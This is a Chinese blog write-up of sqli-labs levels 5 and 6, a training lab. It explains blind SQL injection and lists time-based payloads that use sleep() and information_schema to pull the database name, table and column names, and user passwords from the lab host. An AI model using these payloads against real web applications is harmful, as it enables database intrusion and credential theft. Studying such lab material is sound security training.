zoukankan      html  css  js  c++  java
  • sqli-labs第5-6关 详解

    先打开第五关,我们尝试sql盲注

    先看一个例子吧

    某公司有一个站点,有一个showProduct.php页面,该页面接受名为ID的参数,该参数可唯一标识web站点上的每一件商品。访客可以按下列方式请求页面:

    http://showProduct.php?id=1

    http://showProduct.php?id=2

    http://showProduct.php?id=3

    http://showProduct.php?id=4

    每个请求将显示顾客希望看到的商品数据,为保护数据库不向用户显示任何数据库错误,下列所有请求均显示第一件商品:

    http://showProduct.php?id=1' or and 1=1

    http://showProduct.php?id=attacker'

    http://showProduct.php?id=-1

    到目前为止,我们能看到这公司考虑到了安全性问题,但是我们继续推理过程

    http://showProduct.php?id=2 or 1=1  //返回了第1件商品

    http://showProduct.php?id=2 or 1=2  //返回了第2件商品

    在第一个请求中,or 1=1让数据库返回所有商品。数据库检测该语句异常,显示第1件商品。

    在第二个请求中,or 1=2对结果没有影响,所以显示第2件商品

    不难发现,我们可以根据相同的原理对攻击做一些变化,例如,可以选择and逻辑运算符来替换or。这样一来

    http://showProduct.php?id=2 and 1=1  //返回了第2件商品

    http://showProduct.php?id=2 and 1=2  //返回了第1件商品

    现在虽然可以操作SQL查询,但是却无法从中获取数据。此外,web服务器根据发送的条件回发不同的相应。我们据此可以确认SQL盲注的存在,并开始着手利用此漏洞。

    了解这个了,我们来到sqli-labs第5关 学习一下,sql盲注

    我们无法跟前4道题一样,发现没有回显出来用户名和密码,于是我们进行如下

    ?id=1' and 1=1--+

    ?id=1' or 1=2--+

    用and连接条件时,  如果条件为真,则回显You are in...........

            如果条件为假,则没有回显。

    用or连接条件时,    如果条件为假,则回显You are in...........

             如果条件为真,则没有回显。

    用着两种pyload都可以,我这里采用and运算符了。

    第一步我们先猜解库名的长度吧,利用延时注入,因为盲注一般页面时没有回显的,所以我们采用延时,当然这道题是有回显的

    我们按照延时注入操作:

    当我们测试长度为8时,出现了明显延时,所以我们确定数据库名为8个长度

    http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(length(database())=8,sleep(5),1)--+

    数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)='security'

    http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(left(database(),1)='s',sleep(5),1)--+

    爆表名:

    http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),1)='users',sleep(5),5)--+

    经过漫长的手注,我们就在limit 3,1中找到了表名 users

    爆列名:

    http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(5),1)--+

    首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky,接下来爆破字段的值。

    爆破值payload:

    http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb',sleep(5),1)--+

    http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb',sleep(5),1)--+

    按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。

    这个wp写的我手发慌,但是理解了这个盲注,学会了新姿势,但是这种重复性的工作,我们交给sqlmap做。

    sqlmap怎么跑请参考https://www.cnblogs.com/junlebao/p/13758919.html第二种方法就是sqlmap跑出来的。

    第6关和第五关类似:

    双引号字符型注入,上一题的单引号改成双引号就可以了,同样是两种方法:时间延迟型的手工盲注、报错型的手工盲注或者sqlmap

    例子是,来自《注入攻击与防御(第2版)》这本书。题是sqli-labs中的。

  • 相关阅读:
    uva 10369 Arctic Network
    uvalive 5834 Genghis Khan The Conqueror
    uvalive 4848 Tour Belt
    uvalive 4960 Sensor Network
    codeforces 798c Mike And Gcd Problem
    codeforces 796c Bank Hacking
    codeforces 768c Jon Snow And His Favourite Number
    hdu 1114 Piggy-Bank
    poj 1276 Cash Machine
    bzoj 2423 最长公共子序列
  • 原文地址:https://www.cnblogs.com/junlebao/p/13789655.html
Copyright © 2011-2022 走看看